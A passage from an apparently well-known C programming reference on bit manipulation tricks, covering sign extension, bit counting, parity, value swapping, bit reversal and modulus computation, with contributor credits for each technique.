than b bits. A simple copy will work if x is positive, but if negative, the
sign must be extended. For example, if we have only 4 bits to store a number,
then -3 is represented as 1101 in binary. If we have 8 bits, then -3 is
11111101. The most-significant bit of the 4-bit representation is replicated
sinistrally to fill in the destination when we convert to a representation
with more bits; this is sign extending. In C, sign extension from a constant
bit-width is trivial, since bit fields may be specified in structs or unions.
For example, to convert from 5 bits to an full integer:

[code]

    int x; // convert this from using 5 bits to a full int
    int r; // resulting sign extended number goes here
    struct {signed int x:5;} s;
    r = s.x = x;
    
[/code]

The following is a C++ template function that uses the same language feature
to convert from B bits in one operation \(though the compiler is generating
more, of course\).

[code]

    template <typename T, unsigned B>
    inline T signextend(const T x)
    {
      struct {T x:B;} s;
      return s.x = x;
    }
    
    int r = signextend<signed int,5>(x);  // sign extend 5 bit number x to r
    
[/code]

John Byrd caught a typo in the code \(attributed to html formatting\) on May
2, 2005. On March 4, 2006, Pat Wood pointed out that the ANSI C standard
requires that the bitfield have the keyword "signed" to be signed; otherwise,
the sign is undefined.

* * *
###  Sign extending from a variable bit-width

Sometimes we need to extend the sign of a number but we don't know a priori
the number of bits, b, in which it is represented. \(Or we could be
programming in a language like Java, which lacks bitfields.\)

[code]

    unsigned b; // number of bits representing the number in x
    int x;      // sign extend this b-bit number to r
    int r;      // resulting sign-extended number
    int const m = 1U << (b - 1); // mask can be pre-computed if b is fixed
    
    x = x & ((1U << b) - 1);  // (Skip this if bits in x above position b are already zero.)
    r = (x ^ m) - m;
    
[/code]

The code above requires four operations, but when the bitwidth is a constant
rather than variable, it requires only two fast operations, assuming the upper
bits are already zeroes.

A slightly faster but less portable method that doesn't depend on the bits in
x above position b being zero is:

[code]

    int const m = CHAR_BIT * sizeof(x) - b;
    r = (x << m) >> m;
    
[/code]

Sean A. Irvine suggested that I add sign extension methods to this page on June 13, 2004, and he provided `m = (1 << (b - 1)) - 1; r = -(x & ~m) | x;` as a starting point from which I optimized to get m = 1U << \(b - 1\); r = -\(x & m\) | x. But then on May 11, 2007, Shay Green suggested the version above, which requires one less operation than mine. Vipin Sharma suggested I add a step to deal with situations where x had possible ones in bits other than the b bits we wanted to sign-extend on Oct. 15, 2008. On December 31, 2009 Chris Pirazzi suggested I add the faster version, which requires two operations for constant bit-widths and three for variable widths. 
* * *
###  Sign extending from a variable bit-width in 3 operations

The following may be slow on some machines, due to the effort required for
multiplication and division. This version is 4 operations. If you know that
your initial bit-width, b, is greater than 1, you might do this type of sign
extension in 3 operations by using r = \(x \* multipliers\[b\]\) /
multipliers\[b\], which requires only one array lookup.

[code]

    unsigned b; // number of bits representing the number in x
    int x;      // sign extend this b-bit number to r
    int r;      // resulting sign-extended number
    #define M(B) (1U << ((sizeof(x) * CHAR_BIT) - B)) // CHAR_BIT=bits/byte
    static int const multipliers[] = 
    {
      0,     M(1),  M(2),  M(3),  M(4),  M(5),  M(6),  M(7),
      M(8),  M(9),  M(10), M(11), M(12), M(13), M(14), M(15),
      M(16), M(17), M(18), M(19), M(20), M(21), M(22), M(23),
      M(24), M(25), M(26), M(27), M(28), M(29), M(30), M(31),
      M(32)
    }; // (add more if using more than 64 bits)
    static int const divisors[] = 
    {
      1,    ~M(1),  M(2),  M(3),  M(4),  M(5),  M(6),  M(7),
      M(8),  M(9),  M(10), M(11), M(12), M(13), M(14), M(15),
      M(16), M(17), M(18), M(19), M(20), M(21), M(22), M(23),
      M(24), M(25), M(26), M(27), M(28), M(29), M(30), M(31),
      M(32)
    }; // (add more for 64 bits)
    #undef M
    r = (x * multipliers[b]) / divisors[b];
    
[/code]

The following variation is not portable, but on architectures that employ an
arithmetic right-shift, maintaining the sign, it should be fast.

[code]

    const int s = -b; // OR:  sizeof(x) * CHAR_BIT - b;
    r = (x << s) >> s;
    
[/code]

Randal E. Bryant pointed out a bug on May 3, 2005 in an earlier version \(that
used multipliers\[\] for divisors\[\]\), where it failed on the case of x=1
and b=1.

* * *
###  Conditionally set or clear bits without branching

[code]

    bool f;         // conditional flag
    unsigned int m; // the bit mask
    unsigned int w; // the word to modify:  if (f) w |= m; else w &= ~m; 
    
    w ^= (-f ^ w) & m;
    
    // OR, for superscalar CPUs:
    w = (w & ~m) | (-f & m);
    
[/code]

On some architectures, the lack of branching can more than make up for what
appears to be twice as many operations. For instance, informal speed tests on
an AMD Athlon™ XP 2100+ indicated it was 5-10% faster. An Intel Core 2 Duo ran
the superscalar version about 16% faster than the first. Glenn Slayden
informed me of the first expression on December 11, 2003. Marco Yu shared the
superscalar version with me on April 3, 2007 and alerted me to a typo 2 days
later.

* * *
###  Conditionally negate a value without branching

If you need to negate only when a flag is false, then use the following to
avoid branching:

[code]

    bool fDontNegate;  // Flag indicating we should not negate v.
    int v;             // Input value to negate if fDontNegate is false.
    int r;             // result = fDontNegate ? v : -v;
    
    r = (fDontNegate ^ (fDontNegate - 1)) * v;
    
[/code]

If you need to negate only when a flag is true, then use this:

[code]

    bool fNegate;  // Flag indicating if we should negate v.
    int v;         // Input value to negate if fNegate is true.
    int r;         // result = fNegate ? -v : v;
    
    r = (v ^ -fNegate) + fNegate;
    
[/code]

Avraham Plotnitzky suggested I add the first version on June 2, 2009.
Motivated to avoid the multiply, I came up with the second version on June 8,
2009. Alfonso De Gregorio pointed out that some parens were missing on
November 26, 2009, and received a bug bounty.

* * *
###  Merge bits from two values according to a mask

[code]

    unsigned int a;    // value to merge in non-masked bits
    unsigned int b;    // value to merge in masked bits
    unsigned int mask; // 1 where bits from b should be selected; 0 where from a.
    unsigned int r;    // result of (a & ~mask) | (b & mask) goes here
    
    r = a ^ ((a ^ b) & mask); 
    
[/code]

This shaves one operation from the obvious way of combining two sets of bits
according to a bit mask. If the mask is a constant, then there may be no
advantage.

Ron Jeffery sent this to me on February 9, 2006.

* * *
###  Counting bits set \(naive way\)

[code]

    unsigned int v; // count the number of bits set in v
    unsigned int c; // c accumulates the total bits set in v
    
    for (c = 0; v; v >>= 1)
    {
      c += v & 1;
    }
    
[/code]

The naive approach requires one iteration per bit, until no more bits are set.
So on a 32-bit word with only the high set, it will go through 32 iterations.

* * *
###  Counting bits set by lookup table

[code]

    static const unsigned char BitsSetTable256[256] = 
    {
    #   define B2(n) n,     n+1,     n+1,     n+2
    #   define B4(n) B2(n), B2(n+1), B2(n+1), B2(n+2)
    #   define B6(n) B4(n), B4(n+1), B4(n+1), B4(n+2)
        B6(0), B6(1), B6(1), B6(2)
    };
    
    unsigned int v; // count the number of bits set in 32-bit value v
    unsigned int c; // c is the total bits set in v
    
    // Option 1:
    c = BitsSetTable256[v & 0xff] + 
        BitsSetTable256[(v >> 8) & 0xff] + 
        BitsSetTable256[(v >> 16) & 0xff] + 
        BitsSetTable256[v >> 24]; 
    
    // Option 2:
    unsigned char * p = (unsigned char *) &v;
    c = BitsSetTable256[p[0]] + 
        BitsSetTable256[p[1]] + 
        BitsSetTable256[p[2]] +	
        BitsSetTable256[p[3]];
    
    
    // To initially generate the table algorithmically:
    BitsSetTable256[0] = 0;
    for (int i = 0; i < 256; i++)
    {
      BitsSetTable256[i] = (i & 1) + BitsSetTable256[i / 2];
    }
    
[/code]

On July 14, 2009 Hallvard Furuseth suggested the macro compacted table.

* * *
###  Counting bits set, Brian Kernighan's way

[code]

    unsigned int v; // count the number of bits set in v
    unsigned int c; // c accumulates the total bits set in v
    for (c = 0; v; c++)
    {
      v &= v - 1; // clear the least significant bit set
    }
    
[/code]

Brian Kernighan's method goes through as many iterations as there are set
bits. So if we have a 32-bit word with only the high bit set, then it will
only go once through the loop.

Published in 1988, the C Programming Language 2nd Ed. \(by Brian W. Kernighan
and Dennis M. Ritchie\) mentions this in exercise 2-9. On April 19, 2006 Don
Knuth pointed out to me that this method "was first published by Peter Wegner
in CACM 3 \(1960\), 322. \(Also discovered independently by Derrick Lehmer and
published in 1964 in a book edited by Beckenbach.\)"

* * *
###  Counting bits set in 14, 24, or 32-bit words using 64-bit instructions

[code]

    unsigned int v; // count the number of bits set in v
    unsigned int c; // c accumulates the total bits set in v
    
    // option 1, for at most 14-bit values in v:
    c = (v * 0x200040008001ULL & 0x111111111111111ULL) % 0xf;
    
    // option 2, for at most 24-bit values in v:
    c =  ((v & 0xfff) * 0x1001001001001ULL & 0x84210842108421ULL) % 0x1f;
    c += (((v & 0xfff000) >> 12) * 0x1001001001001ULL & 0x84210842108421ULL) 
         % 0x1f;
    
    // option 3, for at most 32-bit values in v:
    c =  ((v & 0xfff) * 0x1001001001001ULL & 0x84210842108421ULL) % 0x1f;
    c += (((v & 0xfff000) >> 12) * 0x1001001001001ULL & 0x84210842108421ULL) % 
         0x1f;
    c += ((v >> 24) * 0x1001001001001ULL & 0x84210842108421ULL) % 0x1f;
    
[/code]

This method requires a 64-bit CPU with fast modulus division to be efficient.
The first option takes only 3 operations; the second option takes 10; and the
third option takes 15.

Rich Schroeppel originally created a 9-bit version, similiar to option 1; see
the Programming Hacks section of  Beeler, M., Gosper, R. W., and Schroeppel,
R. HAKMEM. MIT AI Memo 239, Feb. 29, 1972. His method was the inspiration for
the variants above, devised by Sean Anderson. Randal E. Bryant offered a
couple bug fixes on May 3, 2005. Bruce Dawson tweaked what had been a 12-bit
version and made it suitable for 14 bits using the same number of operations
on Feburary 1, 2007.

* * *
###  Counting bits set, in parallel

[code]

    unsigned int v; // count bits set in this (32-bit value)
    unsigned int c; // store the total here
    static const int S[] = {1, 2, 4, 8, 16}; // Magic Binary Numbers
    static const int B[] = {0x55555555, 0x33333333, 0x0F0F0F0F, 0x00FF00FF, 0x0000FFFF};
    
    c = v - ((v >> 1) & B[0]);
    c = ((c >> S[1]) & B[1]) + (c & B[1]);
    c = ((c >> S[2]) + c) & B[2];
    c = ((c >> S[3]) + c) & B[3];
    c = ((c >> S[4]) + c) & B[4];
    
[/code]

The B array, expressed as binary, is:

[code]

    B[0] = 0x55555555 = 01010101 01010101 01010101 01010101
    B[1] = 0x33333333 = 00110011 00110011 00110011 00110011
    B[2] = 0x0F0F0F0F = 00001111 00001111 00001111 00001111
    B[3] = 0x00FF00FF = 00000000 11111111 00000000 11111111
    B[4] = 0x0000FFFF = 00000000 00000000 11111111 11111111
    
[/code]

We can adjust the method for larger integer sizes by continuing with the
patterns for the _Binary Magic Numbers,_ B and S. If there are k bits, then we
need the arrays S and B to be ceil\(lg\(k\)\) elements long, and we must
compute the same number of expressions for c as S or B are long. For a 32-bit
v, 16 operations are used.

The best method for counting bits in a 32-bit integer v is the following:

[code]

    v = v - ((v >> 1) & 0x55555555);                    // reuse input as temporary
    v = (v & 0x33333333) + ((v >> 2) & 0x33333333);     // temp
    c = ((v + (v >> 4) & 0xF0F0F0F) * 0x1010101) >> 24; // count
    
[/code]

The best bit counting method takes only 12 operations, which is the same as
the lookup-table method, but avoids the memory and potential cache misses of a
table. It is a hybrid between the purely parallel method above and the earlier
methods using multiplies \(in the section on counting bits with 64-bit
instructions\), though it doesn't use 64-bit instructions. The counts of bits
set in the bytes is done in parallel, and the sum total of the bits set in the
bytes is computed by multiplying by 0x1010101 and shifting right 24 bits.

A generalization of the best bit counting method to integers of bit-widths
upto 128 \(parameterized by type T\) is this:

[code]

    v = v - ((v >> 1) & (T)~(T)0/3);                           // temp
    v = (v & (T)~(T)0/15*3) + ((v >> 2) & (T)~(T)0/15*3);      // temp
    v = (v + (v >> 4)) & (T)~(T)0/255*15;                      // temp
    c = (T)(v * ((T)~(T)0/255)) >> (sizeof(T) - 1) * CHAR_BIT; // count
    
[/code]

See  Ian Ashdown's nice newsgroup post for more information on counting the
number of bits set \(also known as _sideways addition_\). The best bit
counting method was brought to my attention on October 5, 2005 by Andrew
Shapira; he found it in pages 187-188 of Software Optimization Guide for AMD
Athlon™ 64 and Opteron™ Processors. Charlie Gordon suggested a way to shave
off one operation from the purely parallel version on December 14, 2005, and
Don Clugston trimmed three more from it on December 30, 2005. I made a typo
with Don's suggestion that Eric Cole spotted on January 8, 2006. Eric later
suggested the arbitrary bit-width generalization to the best method on
November 17, 2006. On April 5, 2007, Al Williams observed that I had a line of
dead code at the top of the first method.

* * *
###  Count bits set \(rank\) from the most-significant bit upto a given
position

The following finds the the rank of a bit, meaning it returns the sum of bits
that are set to 1 from the most-signficant bit downto the bit at the given
position.

[code]

      uint64_t v;       // Compute the rank (bits set) in v from the MSB to pos.
      unsigned int pos; // Bit position to count bits upto.
      uint64_t r;       // Resulting rank of bit at pos goes here.
    
      // Shift out bits after given position.
      r = v >> (sizeof(v) * CHAR_BIT - pos);
      // Count set bits in parallel.
      // r = (r & 0x5555...) + ((r >> 1) & 0x5555...);
      r = r - ((r >> 1) & ~0UL/3);
      // r = (r & 0x3333...) + ((r >> 2) & 0x3333...);
      r = (r & ~0UL/5) + ((r >> 2) & ~0UL/5);
      // r = (r & 0x0f0f...) + ((r >> 4) & 0x0f0f...);
      r = (r + (r >> 4)) & ~0UL/17;
      // r = r % 255;
      r = (r * (~0UL/255)) >> ((sizeof(v) - 1) * CHAR_BIT);
    
[/code]

Juha Järvi sent this to me on November 21, 2009 as an inverse operation to the
computing the bit position with the given rank, which follows.

* * *
###  Select the bit position \(from the most-significant bit\) with the given
count \(rank\)

The following 64-bit code selects the position of the rth 1 bit when counting
from the left. In other words if we start at the most significant bit and
proceed to the right, counting the number of bits set to 1 until we reach the
desired rank, r, then the position where we stop is returned. If the rank
requested exceeds the count of bits set, then 64 is returned. The code may be
modified for 32-bit or counting from the right.

[code]

      uint64_t v;          // Input value to find position with rank r.
      unsigned int r;      // Input: bit's desired rank [1-64].
      unsigned int s;      // Output: Resulting position of bit with rank r [1-64]
      uint64_t a, b, c, d; // Intermediate temporaries for bit count.
      unsigned int t;      // Bit count temporary.
    
      // Do a normal parallel bit count for a 64-bit integer,                     
      // but store all intermediate steps.                                        
      // a = (v & 0x5555...) + ((v >> 1) & 0x5555...);
      a =  v - ((v >> 1) & ~0UL/3);
      // b = (a & 0x3333...) + ((a >> 2) & 0x3333...);
      b = (a & ~0UL/5) + ((a >> 2) & ~0UL/5);
      // c = (b & 0x0f0f...) + ((b >> 4) & 0x0f0f...);
      c = (b + (b >> 4)) & ~0UL/0x11;
      // d = (c & 0x00ff...) + ((c >> 8) & 0x00ff...);
      d = (c + (c >> 8)) & ~0UL/0x101;
      t = (d >> 32) + (d >> 48);
      // Now do branchless select!                                                
      s  = 64;
      // if (r > t) {s -= 32; r -= t;}
      s -= ((t - r) & 256) >> 3; r -= (t & ((t - r) >> 8));
      t  = (d >> (s - 16)) & 0xff;
      // if (r > t) {s -= 16; r -= t;}
      s -= ((t - r) & 256) >> 4; r -= (t & ((t - r) >> 8));
      t  = (c >> (s - 8)) & 0xf;
      // if (r > t) {s -= 8; r -= t;}
      s -= ((t - r) & 256) >> 5; r -= (t & ((t - r) >> 8));
      t  = (b >> (s - 4)) & 0x7;
      // if (r > t) {s -= 4; r -= t;}
      s -= ((t - r) & 256) >> 6; r -= (t & ((t - r) >> 8));
      t  = (a >> (s - 2)) & 0x3;
      // if (r > t) {s -= 2; r -= t;}
      s -= ((t - r) & 256) >> 7; r -= (t & ((t - r) >> 8));
      t  = (v >> (s - 1)) & 0x1;
      // if (r > t) s--;
      s -= ((t - r) & 256) >> 8;
      s = 65 - s;
    
[/code]

If branching is fast on your target CPU, consider uncommenting the if-
statements and commenting the lines that follow them.

Juha Järvi sent this to me on November 21, 2009.

* * *
###  Computing parity the naive way

[code]

    unsigned int v;       // word value to compute the parity of
    bool parity = false;  // parity will be the parity of v
    
    while (v)
    {
      parity = !parity;
      v = v & (v - 1);
    }
    
    
[/code]

The above code uses an approach like Brian Kernigan's bit counting, above. The
time it takes is proportional to the number of bits set.

* * *
###  Compute parity by lookup table

[code]

    static const bool ParityTable256[256] = 
    {
    #   define P2(n) n, n^1, n^1, n
    #   define P4(n) P2(n), P2(n^1), P2(n^1), P2(n)
    #   define P6(n) P4(n), P4(n^1), P4(n^1), P4(n)
        P6(0), P6(1), P6(1), P6(0)
    };
    
    unsigned char b;  // byte value to compute the parity of
    bool parity = ParityTable256[b];
    
    // OR, for 32-bit words:
    unsigned int v;
    v ^= v >> 16;
    v ^= v >> 8;
    bool parity = ParityTable256[v & 0xff];
    
    // Variation:
    unsigned char * p = (unsigned char *) &v;
    parity = ParityTable256[p[0] ^ p[1] ^ p[2] ^ p[3]];
    
    
[/code]

Randal E. Bryant encouraged the addition of the \(admittedly\) obvious last
variation with variable p on May 3, 2005. Bruce Rawles found a typo in an
instance of the table variable's name on September 27, 2005, and he received a
$10 bug bounty. On October 9, 2006, Fabrice Bellard suggested the 32-bit
variations above, which require only one table lookup; the previous version
had four lookups \(one per byte\) and were slower. On July 14, 2009 Hallvard
Furuseth suggested the macro compacted table.

* * *
###  Compute parity of a byte using 64-bit multiply and modulus division

[code]

    unsigned char b;  // byte value to compute the parity of
    bool parity = 
      (((b * 0x0101010101010101ULL) & 0x8040201008040201ULL) % 0x1FF) & 1;
    
[/code]

The method above takes around 4 operations, but only works on bytes.

* * *
###  Compute parity of word with a multiply

The following method computes the parity of the 32-bit value in only 8
operations using a multiply.

[code]

        unsigned int v; // 32-bit word
        v ^= v >> 1;
        v ^= v >> 2;
        v = (v & 0x11111111U) * 0x11111111U;
        return (v >> 28) & 1;
    
[/code]

Also for 64-bits, 8 operations are still enough.

[code]

        unsigned long long v; // 64-bit word
        v ^= v >> 1;
        v ^= v >> 2;
        v = (v & 0x1111111111111111UL) * 0x1111111111111111UL;
        return (v >> 60) & 1;
    
[/code]

Andrew Shapira came up with this and sent it to me on Sept. 2, 2007.

* * *
###  Compute parity in parallel

[code]

    unsigned int v;  // word value to compute the parity of
    v ^= v >> 16;
    v ^= v >> 8;
    v ^= v >> 4;
    v &= 0xf;
    return (0x6996 >> v) & 1;
    
[/code]

The method above takes around 9 operations, and works for 32-bit words. It may
be optimized to work just on bytes in 5 operations by removing the two lines
immediately following "unsigned int v;". The method first shifts and XORs the
eight nibbles of the 32-bit value together, leaving the result in the lowest
nibble of v. Next, the binary number 0110 1001 1001 0110 \(0x6996 in hex\) is
shifted to the right by the value represented in the lowest nibble of v. This
number is like a miniature 16-bit parity-table indexed by the low four bits in
v. The result has the parity of v in bit 1, which is masked and returned.

Thanks to Mathew Hendry for pointing out the shift-lookup idea at the end on
Dec. 15, 2002. That optimization shaves two operations off using only shifting
and XORing to find the parity.

* * *
###  Swapping values with subtraction and addition

[code]

    #define SWAP(a, b) ((&(a) == &(b)) || \
                        (((a) -= (b)), ((b) += (a)), ((a) = (b) - (a))))
    
[/code]

This swaps the values of a and b _without using a temporary variable._ The
initial check for a and b being the same location in memory may be omitted
when you know this can't happen. \(The compiler may omit it anyway as an
optimization.\) If you enable overflows exceptions, then pass unsigned values
so an exception isn't thrown. The XOR method that follows may be slightly
faster on some machines. Don't use this with floating-point numbers \(unless
you operate on their raw integer representations\).

Sanjeev Sivasankaran suggested I add this on June 12, 2007. Vincent Lefèvre
pointed out the potential for overflow exceptions on July 9, 2008

* * *
###  Swapping values with XOR

[code]

    #define SWAP(a, b) (((a) ^= (b)), ((b) ^= (a)), ((a) ^= (b)))
    
[/code]

This is an old trick to exchange the values of the variables a and b _without
using extra space for a temporary variable_.

On January 20, 2005, Iain A. Fleming pointed out that the macro above doesn't
work when you swap with the same memory location, such as SWAP\(a\[i\],
a\[j\]\) with i == j. So if that may occur, consider defining the macro as
\(\(\(a\) == \(b\)\) || \(\(\(a\) ^= \(b\)\), \(\(b\) ^= \(a\)\), \(\(a\) ^=
\(b\)\)\)\). On July 14, 2009, Hallvard Furuseth suggested that on some
machines, \(\(\(a\) ^ \(b\)\) && \(\(b\) ^= \(a\) ^= \(b\), \(a\) ^= \(b\)\)\)
might be faster, since the \(a\) ^ \(b\) expression is reused.

* * *
###  Swapping individual bits with XOR

[code]

    unsigned int i, j; // positions of bit sequences to swap
    unsigned int n;    // number of consecutive bits in each sequence
    unsigned int b;    // bits to swap reside in b
    unsigned int r;    // bit-swapped result goes here
    
    unsigned int x = ((b >> i) ^ (b >> j)) & ((1U << n) - 1); // XOR temporary
    r = b ^ ((x << i) | (x << j));
    
[/code]

As an example of swapping ranges of bits suppose we have have b = **001**
0**111** 1 \(expressed in binary\) and we want to swap the n = 3 consecutive
bits starting at i = 1 \(the second bit from the right\) with the 3
consecutive bits starting at j = 5; the result would be r = **111** 0**001** 1
\(binary\).

This method of swapping is similar to the general purpose XOR swap trick, but
intended for operating on individual bits. The variable x stores the result of
XORing the pairs of bit values we want to swap, and then the bits are set to
the result of themselves XORed with x. Of course, the result is undefined if
the sequences overlap.

On July 14, 2009 Hallvard Furuseth suggested that I change the 1 << n to 1U <<
n because the value was being assigned to an unsigned and to avoid shifting
into a sign bit.

* * *
###  Reverse bits the obvious way

[code]

    unsigned int v;     // input bits to be reversed
    unsigned int r = v; // r will be reversed bits of v; first get LSB of v
    int s = sizeof(v) * CHAR_BIT - 1; // extra shift needed at end
    
    for (v >>= 1; v; v >>= 1)
    {   
      r <<= 1;
      r |= v & 1;
      s--;
    }
    r <<= s; // shift when v's highest bits are zero
    
[/code]

On October 15, 2004, Michael Hoisie pointed out a bug in the original version.
Randal E. Bryant suggested removing an extra operation on May 3, 2005. Behdad
Esfabod suggested a slight change that eliminated one iteration of the loop on
May 18, 2005. Then, on February 6, 2007, Liyong Zhou suggested a better
version that loops while v is not 0, so rather than iterating over all bits it
stops early.

* * *
###  Reverse bits in word by lookup table

[code]

    static const unsigned char BitReverseTable256[256] = 
    {
    #   define R2(n)     n,     n + 2*64,     n + 1*64,     n + 3*64
    #   define R4(n) R2(n), R2(n + 2*16), R2(n + 1*16), R2(n + 3*16)
    #   define R6(n) R4(n), R4(n + 2*4 ), R4(n + 1*4 ), R4(n + 3*4 )
        R6(0), R6(2), R6(1), R6(3)
    };
    
    unsigned int v; // reverse 32-bit value, 8 bits at time
    unsigned int c; // c will get v reversed
    
    // Option 1:
    c = (BitReverseTable256[v & 0xff] << 24) | 
        (BitReverseTable256[(v >> 8) & 0xff] << 16) | 
        (BitReverseTable256[(v >> 16) & 0xff] << 8) |
        (BitReverseTable256[(v >> 24) & 0xff]);
    
    // Option 2:
    unsigned char * p = (unsigned char *) &v;
    unsigned char * q = (unsigned char *) &c;
    q[3] = BitReverseTable256[p[0]]; 
    q[2] = BitReverseTable256[p[1]]; 
    q[1] = BitReverseTable256[p[2]]; 
    q[0] = BitReverseTable256[p[3]];
    
[/code]

The first method takes about 17 operations, and the second takes about 12,
assuming your CPU can load and store bytes easily.

On July 14, 2009 Hallvard Furuseth suggested the macro compacted table.

* * *
###  Reverse the bits in a byte with 3 operations \(64-bit multiply and
modulus division\):

[code]

    unsigned char b; // reverse this (8-bit) byte
     
    b = (b * 0x0202020202ULL & 0x010884422010ULL) % 1023;
    
[/code]

The multiply operation creates five separate copies of the 8-bit byte pattern
to fan-out into a 64-bit value. The AND operation selects the bits that are in
the correct \(reversed\) positions, relative to each 10-bit groups of bits.
The multiply and the AND operations copy the bits from the original byte so
they each appear in only one of the 10-bit sets. The reversed positions of the
bits from the original byte coincide with their relative positions within any
10-bit set. The last step, which involves modulus division by 2^10 - 1, has
the effect of merging together each set of 10 bits \(from positions 0-9,
10-19, 20-29, ...\) in the 64-bit value. They do not overlap, so the addition
steps underlying the modulus division behave like or operations.

This method was attributed to Rich Schroeppel in the Programming Hacks section
of  Beeler, M., Gosper, R. W., and Schroeppel, R. HAKMEM. MIT AI Memo 239,
Feb. 29, 1972.

* * *
###  Reverse the bits in a byte with 4 operations \(64-bit multiply, no
division\):

[code]

    unsigned char b; // reverse this byte
     
    b = ((b * 0x80200802ULL) & 0x0884422110ULL) * 0x0101010101ULL >> 32;
    
[/code]

The following shows the flow of the bit values with the boolean variables `a,
b, c, d, e, f, g,` and `h`, which comprise an 8-bit byte. Notice how the first
multiply fans out the bit pattern to multiple copies, while the last multiply
combines them in the fifth byte from the right.

[code]

                                                                                            abcd efgh (-> hgfe dcba)
    *                                                      1000 0000  0010 0000  0000 1000  0000 0010 (0x80200802)
    -------------------------------------------------------------------------------------------------
                                                0abc defg  h00a bcde  fgh0 0abc  defg h00a  bcde fgh0
    &                                           0000 1000  1000 0100  0100 0010  0010 0001  0001 0000 (0x0884422110)
    -------------------------------------------------------------------------------------------------
                                                0000 d000  h000 0c00  0g00 00b0  00f0 000a  000e 0000
    *                                           0000 0001  0000 0001  0000 0001  0000 0001  0000 0001 (0x0101010101)
    -------------------------------------------------------------------------------------------------
                                                0000 d000  h000 0c00  0g00 00b0  00f0 000a  000e 0000
                                     0000 d000  h000 0c00  0g00 00b0  00f0 000a  000e 0000
                          0000 d000  h000 0c00  0g00 00b0  00f0 000a  000e 0000
               0000 d000  h000 0c00  0g00 00b0  00f0 000a  000e 0000
    0000 d000  h000 0c00  0g00 00b0  00f0 000a  000e 0000
    -------------------------------------------------------------------------------------------------
    0000 d000  h000 dc00  hg00 dcb0  hgf0 dcba  hgfe dcba  hgfe 0cba  0gfe 00ba  00fe 000a  000e 0000
    >> 32
    -------------------------------------------------------------------------------------------------
                                                0000 d000  h000 dc00  hg00 dcb0  hgf0 dcba  hgfe dcba  
    &                                                                                       1111 1111
    -------------------------------------------------------------------------------------------------
                                                                                            hgfe dcba
    
[/code]

Note that the last two steps can be combined on some processors because the
registers can be accessed as bytes; just multiply so that a register stores
the upper 32 bits of the result and the take the low byte. Thus, it may take
only 6 operations.

Devised by Sean Anderson, July 13, 2001.

* * *
###  Reverse the bits in a byte with 7 operations \(no 64-bit\):

[code]

    b = ((b * 0x0802LU & 0x22110LU) | (b * 0x8020LU & 0x88440LU)) * 0x10101LU >> 16; 
    
[/code]

Make sure you assign or cast the result to an unsigned char to remove garbage
in the higher bits. Devised by Sean Anderson, July 13, 2001. Typo spotted and
correction supplied by Mike Keith, January 3, 2002.

* * *
###  Reverse an N-bit quantity in parallel in 5 \* lg\(N\) operations:

[code]

    unsigned int v; // 32-bit word to reverse bit order
    
    // swap odd and even bits
    v = ((v >> 1) & 0x55555555) | ((v & 0x55555555) << 1);
    // swap consecutive pairs
    v = ((v >> 2) & 0x33333333) | ((v & 0x33333333) << 2);
    // swap nibbles ... 
    v = ((v >> 4) & 0x0F0F0F0F) | ((v & 0x0F0F0F0F) << 4);
    // swap bytes
    v = ((v >> 8) & 0x00FF00FF) | ((v & 0x00FF00FF) << 8);
    // swap 2-byte long pairs
    v = ( v >> 16             ) | ( v               << 16);
    
[/code]

The following variation is also O\(lg\(N\)\), however it requires more
operations to reverse v. Its virtue is in taking less slightly memory by
computing the constants on the fly.

[code]

    unsigned int s = sizeof(v) * CHAR_BIT; // bit size; must be power of 2 
    unsigned int mask = ~0;         
    while ((s >>= 1) > 0) 
    {
      mask ^= (mask << s);
      v = ((v >> s) & mask) | ((v << s) & ~mask);
    }
    
[/code]

These methods above are best suited to situations where N is large. If you use
the above with 64-bit ints \(or larger\), then you need to add more lines
\(following the pattern\); otherwise only the lower 32 bits will be reversed
and the result will be in the lower 32 bits.

See Dr. Dobb's Journal 1983, Edwin Freed's article on Binary Magic Numbers for
more information. The second variation was suggested by Ken Raeburn on
September 13, 2005. Veldmeijer mentioned that the first version could do
without ANDS in the last line on March 19, 2006.

* * *
###  Compute modulus division by 1 << s without a division operator

[code]

    const unsigned int n;          // numerator
    const unsigned int s;
    const unsigned int d = 1U << s; // So d will be one of: 1, 2, 4, 8, 16, 32, ...
    unsigned int m;                // m will be n % d
    m = n & (d - 1); 
    
[/code]

Most programmers learn this trick early, but it was included for the sake of
completeness.

* * *
###  Compute modulus division by \(1 << s\) - 1 without a division operator

[code]

    unsigned int n;                      // numerator
    const unsigned int s;                // s > 0
    const unsigned int d = (1 << s) - 1; // so d is either 1, 3, 7, 15, 31, ...).
    unsigned int m;                      // n % d goes here.
    
    for (m = n; n > d; n = m)
    {
      for (m = 0; n; n >>= s)
      {
        m += n & d;
      }
    }
    // Now m is a value from 0 to d, but since with modulus division
    // we want m to be 0 when it is d.
    m = m == d ? 0 : m;
    
[/code]

This method of modulus division by an integer that is one less than a power of
2 takes at most 5 + \(4 + 5 \* ceil\(N / s\)\) \* ceil\(lg\(N / s\)\)
operations, where N is the number of bits in the numerator. In other words, it
takes at most O\(N \* lg\(N\)\) time.

Devised by Sean Anderson, August 15, 2001. Before Sean A. Irvine corrected me
on June 17, 2004, I mistakenly commented that we could alternatively assign `m
= ((m + 1) & d) - 1;` at the end. Michael Miller spotted a typo in the code
April 25, 2005.

* * *
###  Compute modulus division by \(1 << s\) - 1 in parallel without a division
operator

[code]

    // The following is for a word size of 32 bits!
    
    static const unsigned int M[] = 
    {
      0x00000000, 0x55555555, 0x33333333, 0xc71c71c7,  
      0x0f0f0f0f, 0xc1f07c1f, 0x3f03f03f, 0xf01fc07f, 
      0x00ff00ff, 0x07fc01ff, 0x3ff003ff, 0xffc007ff,
      0xff000fff, 0xfc001fff, 0xf0003fff, 0xc0007fff,
      0x0000ffff, 0x0001ffff, 0x0003ffff, 0x0007ffff, 
      0x000fffff, 0x001fffff, 0x003fffff, 0x007fffff,
      0x00ffffff, 0x01ffffff, 0x03ffffff, 0x07ffffff,
      0x0fffffff, 0x1fffffff, 0x3fffffff, 0x7fffffff
    };
    
    static const unsigned int Q[][6] = 
    {
      { 0,  0,  0,  0,  0,  0}, {16,  8,  4,  2,  1,  1}, {16,  8,  4,  2,  2,  2},
      {15,  6,  3,  3,  3,  3}, {16,  8,  4,  4,  4,  4}, {15,  5,  5,  5,  5,  5},
      {12,  6,  6,  6 , 6,  6}, {14,  7,  7,  7,  7,  7}, {16,  8,  8,  8,  8,  8},
      { 9,  9,  9,  9,  9,  9}, {10, 10, 10, 10, 10, 10}, {11, 11, 11, 11, 11, 11},
